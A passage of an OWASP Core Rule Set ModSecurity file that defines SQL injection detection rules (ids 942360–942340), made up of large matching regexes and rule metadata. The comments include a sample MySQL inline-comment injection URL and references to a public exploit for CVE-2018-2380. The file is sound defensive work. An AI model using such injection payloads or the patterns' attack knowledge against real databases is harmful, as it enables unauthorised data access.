output: 423 | # (?i:ASSEMBLE_OUTPUT) 424 | # 425 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:(?:^[\W\d]+\s*?(?:(?:alter\s*(?:a(?:(?:pplication\s*rol|ggregat)e|s(?:ymmetric\s*ke|sembl)y|u(?:thorization|dit)|vailability\s*group)|c(?:r(?:yptographic\s*provider|edential)|o(?:l(?:latio|um)|nversio)n|ertificate|luster)|s(?:e(?:rv(?:ice|er)|curity|quence|ssion|arch)|y(?:mmetric\s*key|nonym)|togroup|chema)|m(?:a(?:s(?:ter\s*key|k)|terialized)|e(?:ssage\s*type|thod)|odule)|l(?:o(?:g(?:file\s*group|in)|ckdown)|a(?:ngua|r)ge|ibrary)|t(?:(?:abl(?:espac)?|yp)e|r(?:igger|usted)|hreshold|ext)|p(?:a(?:rtition|ckage)|ro(?:cedur|fil)e|ermission)|d(?:i(?:mension|skgroup)|atabase|efault|omain)|r(?:o(?:l(?:lback|e)|ute)|e(?:sourc|mot)e)|f(?:u(?:lltext|nction)|lashback|oreign)|e(?:xte(?:nsion|rnal)|(?:ndpoi|ve)nt)|in(?:dex(?:type)?|memory|stance)|b(?:roker\s*priority|ufferpool)|x(?:ml\s*schema|srobject)|w(?:ork(?:load)?|rapper)|hi(?:erarchy|stogram)|o(?:perator|utline)|(?:nicknam|queu)e|us(?:age|er)|group|java|view)|u(?:nion\s*(?:(?:distin|sele)ct|all)|pdate)|(?:truncat|renam)e|(?:inser|selec)t|de(?:lete|sc)|load)\b|create\s+\w+)|(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load)\s+(?:group_concat|load_file|char)\s?\(?|[\d\W]\s+as\b\s*[\"'`\w]+\s*\bfrom|[\s(]load_file\s*?\(|[\"'`]\s+regexp\W|end\s*?\);))" \ 426 | "id:942360,\ 427 | phase:2,\ 428 | block,\ 429 | capture,\ 430 | t:none,t:urlDecodeUni,\ 431 | msg:'Detects concatenated basic SQL injection and SQLLFI attempts',\ 432 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 433 | tag:'application-multi',\ 434 | tag:'language-multi',\ 435 | tag:'platform-multi',\ 436 | tag:'attack-sqli',\ 437 | tag:'paranoia-level/1',\ 438 | tag:'OWASP_CRS',\ 439 | tag:'capec/1000/152/248/66',\ 440 | tag:'PCI/6.5.2',\ 441 | ver:'OWASP_CRS/3.3.2',\ 442 | severity:'CRITICAL',\ 443 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 444 | setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'" 445 | 446 | # 447 | # -=[ Detect MySQL in-line comments ]=- 448 | # 449 | # MySQL in-line comments can be used to bypass SQLi detection. 450 | # 451 | # Ref: https://dev.mysql.com/doc/refman/8.0/en/comments.html: 452 | # SELECT /*! STRAIGHT_JOIN */ col1 FROM table1,table2 WHERE ... 453 | # CREATE TABLE t1(a INT, KEY (a)) /*!50110 KEY_BLOCK_SIZE=1024 */; 454 | # SELECT /*+ BKA(t1) */ FROM ... ; 455 | # 456 | # http://localhost/test.php?id=9999+or+{if+length((/*!5000select+username/*!50000from*/user+where+id=1))>0} 457 | # 458 | # The minimal string that triggers this regexp is: /*!*/ or /*+*/. 459 | # The rule 942500 is related to 942440 which catches both /*! and */ independently. 460 | # 461 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:/\*[!+](?:[\w\s=_\-()]+)?\*/)" \ 462 | "id:942500,\ 463 | phase:2,\ 464 | block,\ 465 | capture,\ 466 | t:none,t:urlDecodeUni,\ 467 | msg:'MySQL in-line comment detected',\ 468 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 469 | tag:'application-multi',\ 470 | tag:'language-multi',\ 471 | tag:'platform-multi',\ 472 | tag:'attack-sqli',\ 473 | tag:'paranoia-level/1',\ 474 | tag:'OWASP_CRS',\ 475 | tag:'capec/1000/152/248/66',\ 476 | tag:'PCI/6.5.2',\ 477 | ver:'OWASP_CRS/3.3.2',\ 478 | severity:'CRITICAL',\ 479 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 480 | setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'" 481 | 482 | 483 | SecRule TX:EXECUTING_PARANOIA_LEVEL "@lt 2" "id:942013,phase:1,pass,nolog,skipAfter:END-REQUEST-942-APPLICATION-ATTACK-SQLI" 484 | SecRule TX:EXECUTING_PARANOIA_LEVEL "@lt 2" "id:942014,phase:2,pass,nolog,skipAfter:END-REQUEST-942-APPLICATION-ATTACK-SQLI" 485 | # 486 | # -= Paranoia Level 2 =- (apply only when tx.executing_paranoia_level is sufficiently high: 2 or higher) 487 | # 488 | 489 | 490 | # 491 | # -=[ String Termination/Statement Ending Injection Testing ]=- 492 | # 493 | # Identifies common initial SQLi probing requests where attackers insert/append 494 | # quote characters to the existing normal payload to see how the app/db responds. 495 | # 496 | # This rule is also triggered by the following exploit(s): 497 | # [ SAP CRM Java vulnerability CVE-2018-2380 - Exploit tested: https://www.exploit-db.com/exploits/44292 ] 498 | # 499 | SecRule ARGS_NAMES|ARGS|XML:/* "@rx (?:^\s*[\"'`;]+|[\"'`]+\s*$)" \ 500 | "id:942110,\ 501 | phase:2,\ 502 | block,\ 503 | capture,\ 504 | t:none,t:utf8toUnicode,t:urlDecodeUni,\ 505 | msg:'SQL Injection Attack: Common Injection Testing Detected',\ 506 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 507 | tag:'application-multi',\ 508 | tag:'language-multi',\ 509 | tag:'platform-multi',\ 510 | tag:'attack-sqli',\ 511 | tag:'OWASP_CRS',\ 512 | tag:'capec/1000/152/248/66',\ 513 | tag:'PCI/6.5.2',\ 514 | tag:'paranoia-level/2',\ 515 | ver:'OWASP_CRS/3.3.2',\ 516 | severity:'WARNING',\ 517 | setvar:'tx.sql_injection_score=+%{tx.warning_anomaly_score}',\ 518 | setvar:'tx.anomaly_score_pl2=+%{tx.warning_anomaly_score}'" 519 | 520 | 521 | # 522 | # -=[ SQL Operators ]=- 523 | # 524 | # This rule is also triggered by the following exploit(s): 525 | # [ SAP CRM Java vulnerability CVE-2018-2380 - Exploit tested: https://www.exploit-db.com/exploits/44292 ] 526 | # 527 | # Regexp generated from util/regexp-assemble/regexp-942120.data using Regexp::Assemble. 528 | # To rebuild the regexp: 529 | # cd util/regexp-assemble 530 | # ./regexp-assemble.pl regexp-942120.data 531 | # Note that after assemble an outer bracket with an ignore case flag is added 532 | # to the Regexp::Assemble output: 533 | # (?i:ASSEMBLE_OUTPUT) 534 | # 535 | SecRule ARGS_NAMES|ARGS|XML:/* "@rx (?i:(?:(?:^|\W)in[+\s]*\([\s\d\"]+[^()]*\)|\b(?:r(?:egexp|like)|isnull|xor)\b|<(?:>(?:\s+binary)?|=>?|<)|r(?:egexp|like)\s+binary|not\s+between\s+0\s+and|(?:like|is)\s+null|>[=>]|\|\||!=|&&))" \ 536 | "id:942120,\ 537 | phase:2,\ 538 | block,\ 539 | capture,\ 540 | t:none,t:utf8toUnicode,t:urlDecodeUni,\ 541 | msg:'SQL Injection Attack: SQL Operator Detected',\ 542 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 543 | tag:'application-multi',\ 544 | tag:'language-multi',\ 545 | tag:'platform-multi',\ 546 | tag:'attack-sqli',\ 547 | tag:'OWASP_CRS',\ 548 | tag:'capec/1000/152/248/66',\ 549 | tag:'PCI/6.5.2',\ 550 | tag:'paranoia-level/2',\ 551 | ver:'OWASP_CRS/3.3.2',\ 552 | severity:'CRITICAL',\ 553 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 554 | setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}'" 555 | 556 | 557 | # 558 | # -=[ SQL Tautologies ]=- 559 | # 560 | # Regexp generated from util/regexp-assemble/regexp-942130.data using Regexp::Assemble. 561 | # To rebuild the regexp: 562 | # cd util/regexp-assemble 563 | # ./regexp-assemble.pl regexp-942130.data 564 | # Note that after assemble an outer bracket with an ignore case flag is added 565 | # to the Regexp::Assemble output: 566 | # (?i:ASSEMBLE_OUTPUT) 567 | # 568 | # Not supported by re2 (backreferences, lookaheads). 569 | # 570 | SecRule ARGS_NAMES|ARGS|XML:/* "@rx (?i:[\s'\"`()]*?\b([\d\w]+)\b[\s'\"`()]*?(?:<(?:=(?:[\s'\"`()]*?(?!\b\1\b)[\d\w]+|>[\s'\"`()]*?(?:\b\1\b))|>?[\s'\"`()]*?(?!\b\1\b)[\d\w]+)|(?:not\s+(?:regexp|like)|is\s+not|>=?|!=|\^)[\s'\"`()]*?(?!\b\1\b)[\d\w]+|(?:(?:sounds\s+)?like|r(?:egexp|like)|=)[\s'\"`()]*?(?:\b\1\b)))" \ 571 | "id:942130,\ 572 | phase:2,\ 573 | block,\ 574 | capture,\ 575 | t:none,t:urlDecodeUni,t:replaceComments,\ 576 | msg:'SQL Injection Attack: SQL Tautology Detected',\ 577 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 578 | tag:'application-multi',\ 579 | tag:'language-multi',\ 580 | tag:'platform-multi',\ 581 | tag:'attack-sqli',\ 582 | tag:'OWASP_CRS',\ 583 | tag:'capec/1000/152/248/66',\ 584 | tag:'PCI/6.5.2',\ 585 | tag:'paranoia-level/2',\ 586 | ver:'OWASP_CRS/3.3.2',\ 587 | severity:'CRITICAL',\ 588 | multiMatch,\ 589 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 590 | setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}'" 591 | 592 | 593 | # 594 | # -=[ SQL Function Names ]=- 595 | # 596 | # This rule is also triggered by the following exploit(s): 597 | # [ SAP CRM Java vulnerability CVE-2018-2380 - Exploit tested: https://www.exploit-db.com/exploits/44292 ] 598 | # 599 | # Regexp generated from util/regexp-assemble/regexp-942150.data using Regexp::Assemble. 600 | # To rebuild the regexp: 601 | # cd util/regexp-assemble 602 | # ./regexp-assemble.pl regexp-942150.data 603 | # Note that after assemble an ignore case flag and a word boundary is added 604 | # in front of the Regexp::Assemble output. 605 | # And a non-word character and an opening bracket is added behind the Regexp::Assemble output: 606 | # (?i)\bASSEMBLE_OUTPUT\W*\( 607 | # 608 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i)\b(?:c(?:o(?:n(?:v(?:ert(?:_tz)?)?|cat(?:_ws)?|nection_id)|(?:mpres)?s|ercibility|(?:un)?t|llation|alesce)|ur(?:rent_(?:time(?:stamp)?|date|user)|(?:dat|tim)e)|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|ast|r32)|s(?:u(?:b(?:str(?:ing(?:_index)?)?|(?:dat|tim)e)|m)|t(?:d(?:dev_(?:sam|po)p)?|r(?:_to_date|cmp))|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha[12]?|oundex|chema|ig?n|leep|pace|qrt)|i(?:s(?:_(?:ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|(?:free|used)_lock)|null)|n(?:et(?:6_(?:aton|ntoa)|_(?:aton|ntoa))|s(?:ert|tr)|terval)?|f(?:null)?)|d(?:a(?:t(?:e(?:_(?:format|add|sub)|diff)?|abase)|y(?:of(?:month|week|year)|name)?)|e(?:(?:s_(?:de|en)cryp|faul)t|grees|code)|count|ump)|l(?:o(?:ca(?:l(?:timestamp)?|te)|g(?:10|2)?|ad_file|wer)|ast(?:_(?:inser_id|day))?|e(?:(?:as|f)t|ngth)|case|trim|pad|n)|u(?:n(?:compress(?:ed_length)?|ix_timestamp|hex)|tc_(?:time(?:stamp)?|date)|p(?:datexml|per)|uid(?:_short)?|case|ser)|t(?:ime(?:_(?:format|to_sec)|stamp(?:diff|add)?|diff)?|o(?:(?:second|day)s|_base64|n?char)|r(?:uncate|im)|an)|m(?:a(?:ke(?:_set|date)|ster_pos_wait|x)|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:nth(?:name)?|d)|d5)|r(?:e(?:p(?:lace|eat)|lease_lock|verse)|a(?:wtohex|dians|nd)|o(?:w_count|und)|ight|trim|pad)|f(?:i(?:eld(?:_in_set)?|nd_in_set)|rom_(?:unixtime|base64|days)|o(?:und_rows|rmat)|loor)|p(?:o(?:w(?:er)?|sition)|eriod_(?:diff|add)|rocedure_analyse|assword|g_sleep|i)|a(?:s(?:cii(?:str)?|in)|es_(?:de|en)crypt|dd(?:dat|tim)e|(?:co|b)s|tan2?|vg)|b(?:i(?:t_(?:length|count|x?or|and)|n(?:_to_num)?)|enchmark)|e(?:x(?:tract(?:value)?|p(?:ort_set)?)|nc(?:rypt|ode)|lt)|g(?:r(?:oup_conca|eates)t|et_(?:format|lock))|v(?:a(?:r(?:_(?:sam|po)p|iance)|lues)|ersion)|o(?:(?:ld_passwo)?rd|ct(?:et_length)?)|we(?:ek(?:ofyear|day)?|ight_string)|n(?:o(?:t_in|w)|ame_const|ullif)|h(?:ex(?:toraw)?|our)|qu(?:arter|ote)|year(?:week)?|xmltype)\W*\(" \ 609 | "id:942150,\ 610 | phase:2,\ 611 | block,\ 612 | capture,\ 613 | t:none,t:urlDecodeUni,t:lowercase,\ 614 | msg:'SQL Injection Attack',\ 615 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 616 | tag:'application-multi',\ 617 | tag:'language-multi',\ 618 | tag:'platform-multi',\ 619 | tag:'attack-sqli',\ 620 | tag:'OWASP_CRS',\ 621 | tag:'capec/1000/152/248/66',\ 622 | tag:'PCI/6.5.2',\ 623 | tag:'paranoia-level/2',\ 624 | ctl:auditLogParts=+E,\ 625 | ver:'OWASP_CRS/3.3.2',\ 626 | severity:'CRITICAL',\ 627 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 628 | setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}'" 629 | 630 | # Regexp generated from util/regexp-assemble/regexp-942180.data using Regexp::Assemble. 631 | # To rebuild the regexp: 632 | # cd util/regexp-assemble 633 | # ./regexp-assemble.pl regexp-942180.data 634 | # Note that after assemble an ignore case flag is inserted in the 635 | # first non-capturing group from the Regexp::Assemble output: 636 | # ASSEMBLE_OUTPUT | s/^(?:/(?i:/ 637 | # 638 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:[\"'`](?:\s*?(?:(?:between|x?or|and|div)[\w\s-]+\s*?[+<>=(),-]\s*?[\d\"'`]|like(?:[\w\s-]+\s*?[+<>=(),-]\s*?[\d\"'`]|\W+[\w\"'`(])|[!=|](?:[\d\s!=+-]+.*?[\"'`(].*?|[\d\s!=]+.*?\d+)$|[^\w\s]?=\s*?[\"'`])|(?:\W*?[+=]+\W*?|[<>~]+)[\"'`])|(?:/\*)+[\"'`]+\s?(?:\/\*|--|\{|#)?|\d[\"'`]\s+[\"'`]\s+\d|where\s[\s\w\.,-]+\s=|^admin\s*?[\"'`]|\sis\s*?0\W)" \ 639 | "id:942180,\ 640 | phase:2,\ 641 | block,\ 642 | capture,\ 643 | t:none,t:urlDecodeUni,\ 644 | msg:'Detects basic SQL authentication bypass attempts 1/3',\ 645 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 646 | tag:'application-multi',\ 647 | tag:'language-multi',\ 648 | tag:'platform-multi',\ 649 | tag:'attack-sqli',\ 650 | tag:'OWASP_CRS',\ 651 | tag:'capec/1000/152/248/66',\ 652 | tag:'PCI/6.5.2',\ 653 | tag:'paranoia-level/2',\ 654 | ver:'OWASP_CRS/3.3.2',\ 655 | severity:'CRITICAL',\ 656 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 657 | setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}'" 658 | 659 | # This rule is also triggered by the following exploit(s): 660 | # [ SAP CRM Java vulnerability CVE-2018-2380 - Exploit tested: https://www.exploit-db.com/exploits/44292 ] 661 | # 662 | # Regexp generated from util/regexp-assemble/regexp-942200.data using Regexp::Assemble. 663 | # To rebuild the regexp: 664 | # cd util/regexp-assemble 665 | # ./regexp-assemble.pl regexp-942200.data 666 | # Note that after assemble an outer bracket with an ignore case flag is added 667 | # to the Regexp::Assemble output: 668 | # (?i:ASSEMBLE_OUTPUT) 669 | # 670 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:(?:(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load)\s*?\(\s*?space\s*?\(|,.*?[)\da-f\"'`][\"'`](?:[\"'`].*?[\"'`]|(?:\r?\n)?\z|[^\"'`]+)|\Wselect.+\W*?from))" \ 671 | "id:942200,\ 672 | phase:2,\ 673 | block,\ 674 | capture,\ 675 | t:none,t:urlDecodeUni,\ 676 | msg:'Detects MySQL comment-/space-obfuscated injections and backtick termination',\ 677 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 678 | tag:'application-multi',\ 679 | tag:'language-multi',\ 680 | tag:'platform-multi',\ 681 | tag:'attack-sqli',\ 682 | tag:'OWASP_CRS',\ 683 | tag:'capec/1000/152/248/66',\ 684 | tag:'PCI/6.5.2',\ 685 | tag:'paranoia-level/2',\ 686 | ver:'OWASP_CRS/3.3.2',\ 687 | severity:'CRITICAL',\ 688 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 689 | setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}'" 690 | 691 | # This rule is also triggered by the following exploit(s): 692 | # [ SAP CRM Java vulnerability CVE-2018-2380 - Exploit tested: https://www.exploit-db.com/exploits/44292 ] 693 | # 694 | # Regexp generated from util/regexp-assemble/regexp-942210.data using Regexp::Assemble. 695 | # To rebuild the regexp: 696 | # cd util/regexp-assemble 697 | # ./regexp-assemble.pl regexp-942210.data 698 | # Note that after assemble an outer bracket with an ignore case flag is added 699 | # to the Regexp::Assemble output: 700 | # (?i:ASSEMBLE_OUTPUT) 701 | # 702 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:(?:(?:n(?:and|ot)|(?:x?x)?or|between|\|\||like|and|div|&&)[\s(]+\w+[\s)]*?[!=+]+[\s\d]*?[\"'`=()]|\d(?:\s*?(?:between|like|x?or|and|div)\s*?\d+\s*?[\-+]|\s+group\s+by.+\()|\/\w+;?\s+(?:between|having|select|like|x?or|and|div)\W|--\s*?(?:(?:insert|update)\s*?\w{2,}|alter|drop)|#\s*?(?:(?:insert|update)\s*?\w{2,}|alter|drop)|;\s*?(?:(?:insert|update)\s*?\w{2,}|alter|drop)|\@.+=\s*?\(\s*?select|[^\w]SET\s*?\@\w+))" \ 703 | "id:942210,\ 704 | phase:2,\ 705 | block,\ 706 | capture,\ 707 | t:none,t:urlDecodeUni,\ 708 | msg:'Detects chained SQL injection attempts 1/2',\ 709 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 710 | tag:'application-multi',\ 711 | tag:'language-multi',\ 712 | tag:'platform-multi',\ 713 | tag:'attack-sqli',\ 714 | tag:'OWASP_CRS',\ 715 | tag:'capec/1000/152/248/66',\ 716 | tag:'PCI/6.5.2',\ 717 | tag:'paranoia-level/2',\ 718 | ver:'OWASP_CRS/3.3.2',\ 719 | severity:'CRITICAL',\ 720 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 721 | setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}'" 722 | 723 | # Regexp generated from util/regexp-assemble/regexp-942260.data using Regexp::Assemble. 724 | # To rebuild the regexp: 725 | # cd util/regexp-assemble 726 | # ./regexp-assemble-v2.pl regexp-942260.data 727 | # Note that after assemble an outer bracket with an ignore case flag is added 728 | # to the Regexp::Assemble output: 729 | # ASSEMBLE_OUTPUT | s/^(?:/(?i:/ 730 | # 731 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:[\"'`]\s*?(?:(?:n(?:and|ot)|(?:x?x)?or|between|\|\||and|div|&&)\s+[\s\w]+=\s*?\w+\s*?having\s+|like(?:\s+[\s\w]+=\s*?\w+\s*?having\s+|\W*?[\"'`\d])|[^?\w\s=.,;)(]++\s*?[(@\"'`]*?\s*?\w+\W+\w|\*\s*?\w+\W+[\"'`])|(?:union\s*?(?:distinct|[(!@]*?|all)?\s*?[([]*?\s*?select|select\s+?[\[\]()\s\w\.,\"'`-]+from)\s+|\w\s+like\s+[\"'`]|find_in_set\s*?\(|like\s*?[\"'`]%)" \ 732 | "id:942260,\ 733 | phase:2,\ 734 | block,\ 735 | capture,\ 736 | t:none,t:urlDecodeUni,\ 737 | msg:'Detects basic SQL authentication bypass attempts 2/3',\ 738 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 739 | tag:'application-multi',\ 740 | tag:'language-multi',\ 741 | tag:'platform-multi',\ 742 | tag:'attack-sqli',\ 743 | tag:'OWASP_CRS',\ 744 | tag:'capec/1000/152/248/66',\ 745 | tag:'PCI/6.5.2',\ 746 | tag:'paranoia-level/2',\ 747 | ver:'OWASP_CRS/3.3.2',\ 748 | severity:'CRITICAL',\ 749 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 750 | setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}'" 751 | 752 | # Regexp generated from util/regexp-assemble/regexp-942300.data using Regexp::Assemble. 753 | # To rebuild the regexp: 754 | # cd util/regexp-assemble 755 | # ./regexp-assemble.pl regexp-942300.data 756 | # Note that after assemble an outer bracket with an ignore case flag is added 757 | # to the Regexp::Assemble output: 758 | # (?i:ASSEMBLE_OUTPUT) 759 | # 760 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:(?:(?:n(?:and|ot)|(?:x?x)?or|between|\|\||like|and|div|&&)\s+\s*?\w+\(|\)\s*?when\s*?\d+\s*?then|[\"'`]\s*?(?:--|\{|#)|cha?r\s*?\(\s*?\d|\/\*!\s?\d+))" \ 761 | "id:942300,\ 762 | phase:2,\ 763 | block,\ 764 | capture,\ 765 | t:none,t:urlDecodeUni,\ 766 | msg:'Detects MySQL comments, conditions and ch(a)r injections',\ 767 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 768 | tag:'application-multi',\ 769 | tag:'language-multi',\ 770 | tag:'platform-multi',\ 771 | tag:'attack-sqli',\ 772 | tag:'OWASP_CRS',\ 773 | tag:'capec/1000/152/248/66',\ 774 | tag:'PCI/6.5.2',\ 775 | tag:'paranoia-level/2',\ 776 | ver:'OWASP_CRS/3.3.2',\ 777 | severity:'CRITICAL',\ 778 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 779 | setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}'" 780 | 781 | # Regexp generated from util/regexp-assemble/regexp-942310.data using Regexp::Assemble. 782 | # To rebuild the regexp: 783 | # cd util/regexp-assemble 784 | # ./regexp-assemble.pl regexp-942310.data 785 | # Note that after assemble an outer bracket with an ignore case flag is added 786 | # to the Regexp::Assemble output: 787 | # (?i:ASSEMBLE_OUTPUT) 788 | # 789 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:(?:[\"'`](?:;\s*?(?:begin|while|if)|[\s\d]+=\s*?\d|\s+and\s*?=\W)|(?:\(\s*?select\s*?\w+|order\s+by\s+if\w*?|coalesce)\s*?\(|\w[\"'`]\s*?(?:(?:[-+=|@]+\s+?)+|[-+=|@]+)[\d(]|[\s(]+case\d*?\W.+[tw]hen[\s(]|\+\s*?\d+\s*?\+\s*?\@|\@\@\w+\s*?[^\w\s]|\W!+[\"'`]\w|\*\/from))" \ 790 | "id:942310,\ 791 | phase:2,\ 792 | block,\ 793 | capture,\ 794 | t:none,t:urlDecodeUni,\ 795 | msg:'Detects chained SQL injection attempts 2/2',\ 796 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 797 | tag:'application-multi',\ 798 | tag:'language-multi',\ 799 | tag:'platform-multi',\ 800 | tag:'attack-sqli',\ 801 | tag:'OWASP_CRS',\ 802 | tag:'capec/1000/152/248/66',\ 803 | tag:'PCI/6.5.2',\ 804 | tag:'paranoia-level/2',\ 805 | ver:'OWASP_CRS/3.3.2',\ 806 | severity:'CRITICAL',\ 807 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 808 | setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}'" 809 | 810 | # 811 | # -=[ SQL Injection Probings ]=- 812 | # 813 | # This is a group of three similar rules aiming to detect SQL injection probings. 814 | # 815 | # 942330 PL 2 816 | # 942370 PL 2 817 | # 942490 PL 3 818 | # Regexp generated from util/regexp-assemble/regexp-942330.data using Regexp::Assemble. 819 | # To rebuild the regexp: 820 | # cd util/regexp-assemble 821 | # ./regexp-assemble.pl regexp-942330.data 822 | # Note that after assemble an outer bracket with an ignore case flag is added 823 | # to the Regexp::Assemble output: 824 | # (?i:ASSEMBLE_OUTPUT) 825 | # 826 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:(?:^(?:[\"'`\\\\]*?(?:[^\"'`]+[\"'`]|[\d\"'`]+)\s*?(?:n(?:and|ot)|(?:x?x)?or|between|\|\||like|and|div|&&)\s*?[\w\"'`][+&!@(),.-]|.?[\"'`]$)|\@(?:[\w-]+\s(?:between|like|x?or|and|div)\s*?[^\w\s]|\w+\s+(?:between|like|x?or|and|div)\s*?[\"'`\d]+)|[\"'`]\s*?(?:between|like|x?or|and|div)\s*?[\"'`]?\d|[^\w\s:]\s*?\d\W+[^\w\s]\s*?[\"'`].|[^\w\s]\w+\s*?[|-]\s*?[\"'`]\s*?\w|\Winformation_schema|\\\\x(?:23|27|3d)|table_name\W))" \ 827 | "id:942330,\ 828 | phase:2,\ 829 | block,\ 830 | capture,\ 831 | t:none,t:urlDecodeUni,\ 832 | msg:'Detects classic SQL injection probings 1/3',\ 833 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 834 | tag:'application-multi',\ 835 | tag:'language-multi',\ 836 | tag:'platform-multi',\ 837 | tag:'attack-sqli',\ 838 | tag:'OWASP_CRS',\ 839 | tag:'capec/1000/152/248/66',\ 840 | tag:'PCI/6.5.2',\ 841 | tag:'paranoia-level/2',\ 842 | ver:'OWASP_CRS/3.3.2',\ 843 | severity:'CRITICAL',\ 844 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 845 | setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}'" 846 | 847 | # Regexp generated from util/regexp-assemble/regexp-942340.data using Regexp::Assemble. 848 | # To rebuild the regexp: 849 | # cd util/regexp-assemble 850 | # ./regexp-assemble.pl regexp-942340.data 851 | # Note that part of regexp-942340.data is already optimized, to avoid a 852 | # Regexp::Assemble behaviour, where the regex is not optimized very nicely. 853 | # Note that after assemble an outer bracket with an ignore case flag is added 854 | # to the Regexp::Assemble output: 855 | # (?i:ASSEMBLE_OUTPUT) 856 | # 857 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:(?:[\"'`](?:\s*?(?:is\s*?(?:[\d.]+\s*?\W.*?[\"'`]|\d.+[\"'`]?\w)|\d\s*?(?:--|#))|(?:\W+[\w+-]+\s*?=\s*?\d\W+|\|?[\w-]{3,}[^\w\s.,]+)[\"'`]|[\%&<>^=]+\d\s*?(?:between|like|x?or|and|div|=))|(?i:n?and|x?x?or|div|like|between|not|\|\||\&\&)\s+[\s\w+]+(?:sounds\s+like\s*?[\"'`]|regexp\s*?\(|[=\d]+x)|in\s*?\(+\s*?select))" \ 858 | "id:942340,\ 859 | phase:2,\ 860 | block,\ 861 | capture,\ 862 | t:none,t:urlDecodeUni,\ 863 | msg:'Detects basic SQL authentication bypass attempts 3/3',\ 864 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 865 | tag:'application-multi',\ 866 | tag:'language-multi',\ 867 | tag:'platform-multi',\ 868 | tag:'attack-sqli',\ 869 | tag:'OWASP_CRS',\ 870 | tag:'capec/1000/152/248/66',\ 871 | tag:'PCI/6.5.2',\ 872 | tag:'paranoia-level/2',\ 873 | 